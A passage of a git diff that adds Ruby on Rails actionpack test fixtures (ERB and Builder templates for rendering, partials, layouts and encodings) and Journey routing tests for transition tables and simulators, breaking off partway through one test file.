diff --git a/actionpack/test/fixtures/test/change_priority.html.erb b/actionpack/test/fixtures/test/change_priority.html.erb
new file mode 100644
index 0000000..5618977
--- /dev/null
+++ b/actionpack/test/fixtures/test/change_priority.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/content_for.erb b/actionpack/test/fixtures/test/content_for.erb
new file mode 100644
index 0000000..1fb829f
--- /dev/null
+++ b/actionpack/test/fixtures/test/content_for.erb
@@ -0,0 +1 @@
+<% content_for :title do -%>Putting stuff in the title!<% end -%>Great stuff!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/content_for_concatenated.erb b/actionpack/test/fixtures/test/content_for_concatenated.erb
new file mode 100644
index 0000000..e65f629
--- /dev/null
+++ b/actionpack/test/fixtures/test/content_for_concatenated.erb
@@ -0,0 +1,3 @@
+<% content_for :title, "Putting stuff "
+ content_for :title, "in the title!" -%>
+Great stuff!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/content_for_with_parameter.erb b/actionpack/test/fixtures/test/content_for_with_parameter.erb
new file mode 100644
index 0000000..aeb6f73
--- /dev/null
+++ b/actionpack/test/fixtures/test/content_for_with_parameter.erb
@@ -0,0 +1,2 @@
+<% content_for :title, "Putting stuff in the title!" -%>
+Great stuff!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/dont_pick_me b/actionpack/test/fixtures/test/dont_pick_me
new file mode 100644
index 0000000..0157c9e
--- /dev/null
+++ b/actionpack/test/fixtures/test/dont_pick_me
@@ -0,0 +1 @@
+non-template file
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb b/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000..8b8a449
--- /dev/null
+++ b/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionpack/test/fixtures/test/formatted_html_erb.html.erb b/actionpack/test/fixtures/test/formatted_html_erb.html.erb
new file mode 100644
index 0000000..1c64efa
--- /dev/null
+++ b/actionpack/test/fixtures/test/formatted_html_erb.html.erb
@@ -0,0 +1 @@
+formatted html erb
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.builder b/actionpack/test/fixtures/test/formatted_xml_erb.builder
new file mode 100644
index 0000000..14fd354
--- /dev/null
+++ b/actionpack/test/fixtures/test/formatted_xml_erb.builder
@@ -0,0 +1 @@
+xml.test 'failed'
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.html.erb b/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
new file mode 100644
index 0000000..0c855a6
--- /dev/null
+++ b/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
@@ -0,0 +1 @@
+<test>passed formatted html erb</test>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb b/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb
new file mode 100644
index 0000000..6ca09d5
--- /dev/null
+++ b/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb
@@ -0,0 +1 @@
+<test>passed formatted xml erb</test>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/greeting.html.erb b/actionpack/test/fixtures/test/greeting.html.erb
new file mode 100644
index 0000000..62fb029
--- /dev/null
+++ b/actionpack/test/fixtures/test/greeting.html.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionpack/test/fixtures/test/greeting.xml.erb b/actionpack/test/fixtures/test/greeting.xml.erb
new file mode 100644
index 0000000..62fb029
--- /dev/null
+++ b/actionpack/test/fixtures/test/greeting.xml.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionpack/test/fixtures/test/hello,world.erb b/actionpack/test/fixtures/test/hello,world.erb
new file mode 100644
index 0000000..bc8fa5e
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello,world.erb
@@ -0,0 +1 @@
+Hello w*rld!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello.builder b/actionpack/test/fixtures/test/hello.builder
new file mode 100644
index 0000000..a471553
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello.builder
@@ -0,0 +1,4 @@
+xml.html do
+ xml.p "Hello #{@name}"
+ xml << render(:file => "test/greeting")
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello/hello.erb b/actionpack/test/fixtures/test/hello/hello.erb
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello/hello.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.da.html.erb b/actionpack/test/fixtures/test/hello_world.da.html.erb
new file mode 100644
index 0000000..10ec443
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world.da.html.erb
@@ -0,0 +1 @@
+Hey verden
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.erb b/actionpack/test/fixtures/test/hello_world.erb
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb b/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
new file mode 100644
index 0000000..773b3c8
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
@@ -0,0 +1 @@
+Ola mundo
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world_container.builder b/actionpack/test/fixtures/test/hello_world_container.builder
new file mode 100644
index 0000000..e48d75c
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world_container.builder
@@ -0,0 +1,3 @@
+xml.test do
+ render :partial => 'hello', :locals => { :xm => xml }
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world_from_rxml.builder b/actionpack/test/fixtures/test/hello_world_from_rxml.builder
new file mode 100644
index 0000000..619a97b
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world_from_rxml.builder
@@ -0,0 +1,3 @@
+xml.html do
+ xml.p "Hello"
+end
diff --git a/actionpack/test/fixtures/test/hello_world_with_layout_false.erb b/actionpack/test/fixtures/test/hello_world_with_layout_false.erb
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world_with_layout_false.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world_with_partial.html.erb b/actionpack/test/fixtures/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000..ec31545
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionpack/test/fixtures/test/hello_xml_world.builder b/actionpack/test/fixtures/test/hello_xml_world.builder
new file mode 100644
index 0000000..e7081b8
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello_xml_world.builder
@@ -0,0 +1,11 @@
+xml.html do
+ xml.head do
+ xml.title "Hello World"
+ end
+
+ xml.body do
+ xml.p "abes"
+ xml.p "monks"
+ xml.p "wiseguys"
+ end
+end
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/html_template.html.erb b/actionpack/test/fixtures/test/html_template.html.erb
new file mode 100644
index 0000000..1bbc2b7
--- /dev/null
+++ b/actionpack/test/fixtures/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hyphen-ated.erb b/actionpack/test/fixtures/test/hyphen-ated.erb
new file mode 100644
index 0000000..cd08755
--- /dev/null
+++ b/actionpack/test/fixtures/test/hyphen-ated.erb
@@ -0,0 +1 @@
+Hello world!
diff --git a/actionpack/test/fixtures/test/implicit_content_type.atom.builder b/actionpack/test/fixtures/test/implicit_content_type.atom.builder
new file mode 100644
index 0000000..2fcb32d
--- /dev/null
+++ b/actionpack/test/fixtures/test/implicit_content_type.atom.builder
@@ -0,0 +1,2 @@
+xml.atom do
+end
diff --git a/actionpack/test/fixtures/test/layout_render_file.erb b/actionpack/test/fixtures/test/layout_render_file.erb
new file mode 100644
index 0000000..2f8e921
--- /dev/null
+++ b/actionpack/test/fixtures/test/layout_render_file.erb
@@ -0,0 +1,2 @@
+<% content_for :title do %>title<% end -%>
+<%= render :file => 'layouts/yield' -%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/layout_render_object.erb b/actionpack/test/fixtures/test/layout_render_object.erb
new file mode 100644
index 0000000..acc4453
--- /dev/null
+++ b/actionpack/test/fixtures/test/layout_render_object.erb
@@ -0,0 +1 @@
+<%= render :layout => "layouts/customers" do |customer| %><%= customer.name %><% end %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/list.erb b/actionpack/test/fixtures/test/list.erb
new file mode 100644
index 0000000..0a4bda5
--- /dev/null
+++ b/actionpack/test/fixtures/test/list.erb
@@ -0,0 +1 @@
+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionpack/test/fixtures/test/nested_layout.erb b/actionpack/test/fixtures/test/nested_layout.erb
new file mode 100644
index 0000000..6078f74
--- /dev/null
+++ b/actionpack/test/fixtures/test/nested_layout.erb
@@ -0,0 +1,3 @@
+<% content_for :title, "title" -%>
+<% content_for :column do -%>column<% end -%>
+<%= render :layout => 'layouts/column' do -%>content<% end -%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/nested_streaming.erb b/actionpack/test/fixtures/test/nested_streaming.erb
new file mode 100644
index 0000000..55525e0
--- /dev/null
+++ b/actionpack/test/fixtures/test/nested_streaming.erb
@@ -0,0 +1,3 @@
+<%- content_for :header do -%>?<%- end -%>
+<%= render :template => "test/streaming" %>
+?
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/non_erb_block_content_for.builder b/actionpack/test/fixtures/test/non_erb_block_content_for.builder
new file mode 100644
index 0000000..d539a42
--- /dev/null
+++ b/actionpack/test/fixtures/test/non_erb_block_content_for.builder
@@ -0,0 +1,4 @@
+content_for :title do
+ 'Putting stuff in the title!'
+end
+xml << "Great stuff!"
diff --git a/actionpack/test/fixtures/test/one.html.erb b/actionpack/test/fixtures/test/one.html.erb
new file mode 100644
index 0000000..0151874
--- /dev/null
+++ b/actionpack/test/fixtures/test/one.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/two" %> world
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/potential_conflicts.erb b/actionpack/test/fixtures/test/potential_conflicts.erb
new file mode 100644
index 0000000..a5e964e
--- /dev/null
+++ b/actionpack/test/fixtures/test/potential_conflicts.erb
@@ -0,0 +1,4 @@
+First: <%= @name %>
+<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
+Fourth: <%= @name %>
+Fifth: <%= name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/proper_block_detection.erb b/actionpack/test/fixtures/test/proper_block_detection.erb
new file mode 100644
index 0000000..b55efbb
--- /dev/null
+++ b/actionpack/test/fixtures/test/proper_block_detection.erb
@@ -0,0 +1 @@
+<%= @todo %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_file_from_template.html.erb b/actionpack/test/fixtures/test/render_file_from_template.html.erb
new file mode 100644
index 0000000..fde9f4b
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_file_from_template.html.erb
@@ -0,0 +1 @@
+<%= render :file => @path %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_file_with_ivar.erb b/actionpack/test/fixtures/test/render_file_with_ivar.erb
new file mode 100644
index 0000000..8b8a449
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionpack/test/fixtures/test/render_file_with_locals.erb b/actionpack/test/fixtures/test/render_file_with_locals.erb
new file mode 100644
index 0000000..ebe09fa
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb b/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb
new file mode 100644
index 0000000..9b4900a
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb
@@ -0,0 +1 @@
+<%= secret ||= 'one' %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
new file mode 100644
index 0000000..0740b2d
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
@@ -0,0 +1 @@
+Hey HTML!
diff --git a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
new file mode 100644
index 0000000..4a11845
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
@@ -0,0 +1 @@
+Hello HTML!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb b/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
new file mode 100644
index 0000000..892ae5e
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
@@ -0,0 +1 @@
+alert('hello');
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/render_partial_inside_directory.html.erb b/actionpack/test/fixtures/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000..1461b95
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionpack/test/fixtures/test/render_to_string_test.erb b/actionpack/test/fixtures/test/render_to_string_test.erb
new file mode 100644
index 0000000..6e267e8
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_to_string_test.erb
@@ -0,0 +1 @@
+The value of foo is: ::<%= @foo %>::
diff --git a/actionpack/test/fixtures/test/render_two_partials.html.erb b/actionpack/test/fixtures/test/render_two_partials.html.erb
new file mode 100644
index 0000000..3db6025
--- /dev/null
+++ b/actionpack/test/fixtures/test/render_two_partials.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'partial', :locals => {'first' => '1'} %>
+<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionpack/test/fixtures/test/streaming.erb b/actionpack/test/fixtures/test/streaming.erb
new file mode 100644
index 0000000..fb9b8b1
--- /dev/null
+++ b/actionpack/test/fixtures/test/streaming.erb
@@ -0,0 +1,3 @@
+<%- provide :header do -%>Yes, <%- end -%>
+this works
+<%- content_for :footer, " like a charm" -%>
diff --git a/actionpack/test/fixtures/test/streaming_buster.erb b/actionpack/test/fixtures/test/streaming_buster.erb
new file mode 100644
index 0000000..4221d56
--- /dev/null
+++ b/actionpack/test/fixtures/test/streaming_buster.erb
@@ -0,0 +1,3 @@
+<%= yield :foo -%>
+This won't look
+<% provide :unknown, " good." -%>
diff --git a/actionpack/test/fixtures/test/sub_template_raise.html.erb b/actionpack/test/fixtures/test/sub_template_raise.html.erb
new file mode 100644
index 0000000..f38c0bd
--- /dev/null
+++ b/actionpack/test/fixtures/test/sub_template_raise.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/raise" %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/template.erb b/actionpack/test/fixtures/test/template.erb
new file mode 100644
index 0000000..785afa8
--- /dev/null
+++ b/actionpack/test/fixtures/test/template.erb
@@ -0,0 +1 @@
+<%= template.path %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/update_element_with_capture.erb b/actionpack/test/fixtures/test/update_element_with_capture.erb
new file mode 100644
index 0000000..fa3ef20
--- /dev/null
+++ b/actionpack/test/fixtures/test/update_element_with_capture.erb
@@ -0,0 +1,9 @@
+<% replacement_function = update_element_function("products", :action => :update) do %>
+ <p>Product 1</p>
+ <p>Product 2</p>
+<% end %>
+<%= javascript_tag(replacement_function) %>
+
+<% update_element_function("status", :action => :update, :binding => binding) do %>
+ <b>You bought something!</b>
+<% end %>
diff --git a/actionpack/test/fixtures/test/using_layout_around_block.html.erb b/actionpack/test/fixtures/test/using_layout_around_block.html.erb
new file mode 100644
index 0000000..3d6661d
--- /dev/null
+++ b/actionpack/test/fixtures/test/using_layout_around_block.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "David" }) do %>Inside from block<% end %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/utf8.html.erb b/actionpack/test/fixtures/test/utf8.html.erb
new file mode 100644
index 0000000..ac98c2f
--- /dev/null
+++ b/actionpack/test/fixtures/test/utf8.html.erb
@@ -0,0 +1,4 @@
+Русский <%= render :partial => 'test/utf8_partial' %>
+<%= "日".encoding %>
+<%= @output_buffer.encoding %>
+<%= __ENCODING__ %>
diff --git a/actionpack/test/fixtures/test/utf8_magic.html.erb b/actionpack/test/fixtures/test/utf8_magic.html.erb
new file mode 100644
index 0000000..257279c
--- /dev/null
+++ b/actionpack/test/fixtures/test/utf8_magic.html.erb
@@ -0,0 +1,5 @@
+<%# encoding: utf-8 -%>
+Русский <%= render :partial => 'test/utf8_partial_magic' %>
+<%= "日".encoding %>
+<%= @output_buffer.encoding %>
+<%= __ENCODING__ %>
diff --git a/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb b/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
new file mode 100644
index 0000000..cb22692
--- /dev/null
+++ b/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
@@ -0,0 +1,5 @@
+<%# encoding: utf-8 -%>
+Русский <%= render :partial => 'test/utf8_partial' %>
+<%= "日".encoding %>
+<%= @output_buffer.encoding %>
+<%= __ENCODING__ %>
diff --git a/actionpack/test/fixtures/test/with_html_partial.html.erb b/actionpack/test/fixtures/test/with_html_partial.html.erb
new file mode 100644
index 0000000..d84d909
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_html_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only_html" %></strong>
diff --git a/actionpack/test/fixtures/test/with_partial.html.erb b/actionpack/test/fixtures/test/with_partial.html.erb
new file mode 100644
index 0000000..7502364
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only" %></strong>
diff --git a/actionpack/test/fixtures/test/with_partial.text.erb b/actionpack/test/fixtures/test/with_partial.text.erb
new file mode 100644
index 0000000..5f068eb
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_partial.text.erb
@@ -0,0 +1 @@
+**<%= render :partial => "partial_only" %>**
diff --git a/actionpack/test/fixtures/test/with_xml_template.html.erb b/actionpack/test/fixtures/test/with_xml_template.html.erb
new file mode 100644
index 0000000..e54a7cd
--- /dev/null
+++ b/actionpack/test/fixtures/test/with_xml_template.html.erb
@@ -0,0 +1 @@
+<%= render :template => "test/greeting", :formats => :xml %>
diff --git a/actionpack/test/fixtures/topic.rb b/actionpack/test/fixtures/topic.rb
new file mode 100644
index 0000000..9fa9746
--- /dev/null
+++ b/actionpack/test/fixtures/topic.rb
@@ -0,0 +1,3 @@
+class Topic < ActiveRecord::Base
+ has_many :replies, :dependent => :destroy
+end
diff --git a/actionpack/test/fixtures/topics.yml b/actionpack/test/fixtures/topics.yml
new file mode 100644
index 0000000..7fdd49d
--- /dev/null
+++ b/actionpack/test/fixtures/topics.yml
@@ -0,0 +1,22 @@
+futurama:
+ id: 1
+ title: Isnt futurama awesome?
+ subtitle: It really is, isnt it.
+ content: I like futurama
+ created_at: <%= 1.day.ago.to_s(:db) %>
+ updated_at:
+
+harvey_birdman:
+ id: 2
+ title: Harvey Birdman is the king of all men
+ subtitle: yup
+ content: It really is
+ created_at: <%= 2.hours.ago.to_s(:db) %>
+ updated_at:
+
+rails:
+ id: 3
+ title: Rails is nice
+ subtitle: It makes me happy
+ content: except when I have to hack internals to fix pagination. even then really.
+ created_at: <%= 20.minutes.ago.to_s(:db) %>
diff --git a/actionpack/test/fixtures/topics/_topic.html.erb b/actionpack/test/fixtures/topics/_topic.html.erb
new file mode 100644
index 0000000..98659ca
--- /dev/null
+++ b/actionpack/test/fixtures/topics/_topic.html.erb
@@ -0,0 +1 @@
+<%= topic.title %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/translations/templates/array.erb b/actionpack/test/fixtures/translations/templates/array.erb
new file mode 100644
index 0000000..d86045a
--- /dev/null
+++ b/actionpack/test/fixtures/translations/templates/array.erb
@@ -0,0 +1 @@
+<%= t('.foo.bar') %>
diff --git a/actionpack/test/fixtures/translations/templates/default.erb b/actionpack/test/fixtures/translations/templates/default.erb
new file mode 100644
index 0000000..8b70031
--- /dev/null
+++ b/actionpack/test/fixtures/translations/templates/default.erb
@@ -0,0 +1 @@
+<%= t('.missing', :default => :'.foo') %>
diff --git a/actionpack/test/fixtures/translations/templates/found.erb b/actionpack/test/fixtures/translations/templates/found.erb
new file mode 100644
index 0000000..080c9c0
--- /dev/null
+++ b/actionpack/test/fixtures/translations/templates/found.erb
@@ -0,0 +1 @@
+<%= t('.foo') %>
diff --git a/actionpack/test/fixtures/translations/templates/missing.erb b/actionpack/test/fixtures/translations/templates/missing.erb
new file mode 100644
index 0000000..0f3f17f
--- /dev/null
+++ b/actionpack/test/fixtures/translations/templates/missing.erb
@@ -0,0 +1 @@
+<%= t('.missing') %>
diff --git a/actionpack/test/fixtures/with_format.json.erb b/actionpack/test/fixtures/with_format.json.erb
new file mode 100644
index 0000000..a7f480a
--- /dev/null
+++ b/actionpack/test/fixtures/with_format.json.erb
@@ -0,0 +1 @@
+<%= render :partial => 'missing', :formats => [:json] %>
diff --git a/actionpack/test/journey/gtg/builder_test.rb b/actionpack/test/journey/gtg/builder_test.rb
new file mode 100644
index 0000000..c1da374
--- /dev/null
+++ b/actionpack/test/journey/gtg/builder_test.rb
@@ -0,0 +1,79 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module GTG
+ class TestBuilder < ActiveSupport::TestCase
+ def test_following_states_multi
+ table = tt ['a|a']
+ assert_equal 1, table.move([0], 'a').length
+ end
+
+ def test_following_states_multi_regexp
+ table = tt [':a|b']
+ assert_equal 1, table.move([0], 'fooo').length
+ assert_equal 2, table.move([0], 'b').length
+ end
+
+ def test_multi_path
+ table = tt ['/:a/d', '/b/c']
+
+ [
+ [1, '/'],
+ [2, 'b'],
+ [2, '/'],
+ [1, 'c'],
+ ].inject([0]) { |state, (exp, sym)|
+ new = table.move(state, sym)
+ assert_equal exp, new.length
+ new
+ }
+ end
+
+ def test_match_data_ambiguous
+ table = tt %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+
+ sim = NFA::Simulator.new table
+
+ match = sim.match '/articles/new'
+ assert_equal 2, match.memos.length
+ end
+
+ ##
+ # Identical Routes may have different restrictions.
+ def test_match_same_paths
+ table = tt %w{
+ /articles/new(.:format)
+ /articles/new(.:format)
+ }
+
+ sim = NFA::Simulator.new table
+
+ match = sim.match '/articles/new'
+ assert_equal 2, match.memos.length
+ end
+
+ private
+ def ast strings
+ parser = Journey::Parser.new
+ asts = strings.map { |string|
+ memo = Object.new
+ ast = parser.parse string
+ ast.each { |n| n.memo = memo }
+ ast
+ }
+ Nodes::Or.new asts
+ end
+
+ def tt strings
+ Builder.new(ast(strings)).transition_table
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/gtg/transition_table_test.rb b/actionpack/test/journey/gtg/transition_table_test.rb
new file mode 100644
index 0000000..33acba8
--- /dev/null
+++ b/actionpack/test/journey/gtg/transition_table_test.rb
@@ -0,0 +1,115 @@
+require 'abstract_unit'
+require 'json'
+
+module ActionDispatch
+ module Journey
+ module GTG
+ class TestGeneralizedTable < ActiveSupport::TestCase
+ def test_to_json
+ table = tt %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+
+ json = JSON.load table.to_json
+ assert json['regexp_states']
+ assert json['string_states']
+ assert json['accepting']
+ end
+
+ if system("dot -V 2>/dev/null")
+ def test_to_svg
+ table = tt %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+ svg = table.to_svg
+ assert svg
+ assert_no_match(/DOCTYPE/, svg)
+ end
+ end
+
+ def test_simulate_gt
+ sim = simulator_for ['/foo', '/bar']
+ assert_match sim, '/foo'
+ end
+
+ def test_simulate_gt_regexp
+ sim = simulator_for [':foo']
+ assert_match sim, 'foo'
+ end
+
+ def test_simulate_gt_regexp_mix
+ sim = simulator_for ['/get', '/:method/foo']
+ assert_match sim, '/get'
+ assert_match sim, '/get/foo'
+ end
+
+ def test_simulate_optional
+ sim = simulator_for ['/foo(/bar)']
+ assert_match sim, '/foo'
+ assert_match sim, '/foo/bar'
+ assert_no_match sim, '/foo/'
+ end
+
+ def test_match_data
+ path_asts = asts %w{ /get /:method/foo }
+ paths = path_asts.dup
+
+ builder = GTG::Builder.new Nodes::Or.new path_asts
+ tt = builder.transition_table
+
+ sim = GTG::Simulator.new tt
+
+ match = sim.match '/get'
+ assert_equal [paths.first], match.memos
+
+ match = sim.match '/get/foo'
+ assert_equal [paths.last], match.memos
+ end
+
+ def test_match_data_ambiguous
+ path_asts = asts %w{
+ /articles(.:format)
+ /articles/new(.:format)
+ /articles/:id/edit(.:format)
+ /articles/:id(.:format)
+ }
+
+ paths = path_asts.dup
+ ast = Nodes::Or.new path_asts
+
+ builder = GTG::Builder.new ast
+ sim = GTG::Simulator.new builder.transition_table
+
+ match = sim.match '/articles/new'
+ assert_equal [paths[1], paths[3]], match.memos
+ end
+
+ private
+ def asts paths
+ parser = Journey::Parser.new
+ paths.map { |x|
+ ast = parser.parse x
+ ast.each { |n| n.memo = ast}
+ ast
+ }
+ end
+
+ def tt paths
+ x = asts paths
+ builder = GTG::Builder.new Nodes::Or.new x
+ builder.transition_table
+ end
+
+ def simulator_for paths
+ GTG::Simulator.new tt(paths)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/nfa/simulator_test.rb b/actionpack/test/journey/nfa/simulator_test.rb
new file mode 100644
index 0000000..673a491
--- /dev/null
+++ b/actionpack/test/journey/nfa/simulator_test.rb
@@ -0,0 +1,98 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module NFA
+ class TestSimulator < ActiveSupport::TestCase
+ def test_simulate_simple
+ sim = simulator_for ['/foo']
+ assert_match sim, '/foo'
+ end
+
+ def test_simulate_simple_no_match
+ sim = simulator_for ['/foo']
+ assert_no_match sim, 'foo'
+ end
+
+ def test_simulate_simple_no_match_too_long
+ sim = simulator_for ['/foo']
+ assert_no_match sim, '/foo/bar'
+ end
+
+ def test_simulate_simple_no_match_wrong_string
+ sim = simulator_for ['/foo']
+ assert_no_match sim, '/bar'
+ end
+
+ def test_simulate_regex
+ sim = simulator_for ['/:foo/bar']
+ assert_match sim, '/bar/bar'
+ assert_match sim, '/foo/bar'
+ end
+
+ def test_simulate_or
+ sim = simulator_for ['/foo', '/bar']
+ assert_match sim, '/bar'
+ assert_match sim, '/foo'
+ assert_no_match sim, '/baz'
+ end
+
+ def test_simulate_optional
+ sim = simulator_for ['/foo(/bar)']
+ assert_match sim, '/foo'
+ assert_match sim, '/foo/bar'
+ assert_no_match sim, '/foo/'
+ end
+
+ def test_matchdata_has_memos
+ paths = %w{ /foo /bar }
+ parser = Journey::Parser.new
+ asts = paths.map { |x|
+ ast = parser.parse x
+ ast.each { |n| n.memo = ast}
+ ast
+ }
+
+ expected = asts.first
+
+ builder = Builder.new Nodes::Or.new asts
+
+ sim = Simulator.new builder.transition_table
+
+ md = sim.match '/foo'
+ assert_equal [expected], md.memos
+ end
+
+ def test_matchdata_memos_on_merge
+ parser = Journey::Parser.new
+ routes = [
+ '/articles(.:format)',
+ '/articles/new(.:format)',
+ '/articles/:id/edit(.:format)',
+ '/articles/:id(.:format)',
+ ].map { |path|
+ ast = parser.parse path
+ ast.each { |n| n.memo = ast }
+ ast
+ }
+
+ asts = routes.dup
+
+ ast = Nodes::Or.new routes
+
+ nfa = Journey::NFA::Builder.new ast
+ sim = Simulator.new nfa.transition_table
+ md = sim.match '/articles'
+ assert_equal [asts.first], md.memos
+ end
+
+ def simulator_for paths
+ parser = Journey::Parser.new
+ asts = paths.map { |x| parser.parse x }
+ builder = Builder.new Nodes::Or.new asts
+ Simulator.new builder.transition_table
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/nfa/transition_table_test.rb b/actionpack/test/journey/nfa/transition_table_test.rb
new file mode 100644
index 0000000..1248082
--- /dev/null
+++ b/actionpack/test/journey/nfa/transition_table_test.rb
@@ -0,0 +1,72 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module NFA
+ class TestTransitionTable < ActiveSupport::TestCase
+ def setup
+ @parser = Journey::Parser.new
+ end
+
+ def test_eclosure
+ table = tt '/'
+ assert_equal [0], table.eclosure(0)
+
+ table = tt ':a|:b'
+ assert_equal 3, table.eclosure(0).length
+
+ table = tt '(:a|:b)'
+ assert_equal 5, table.eclosure(0).length
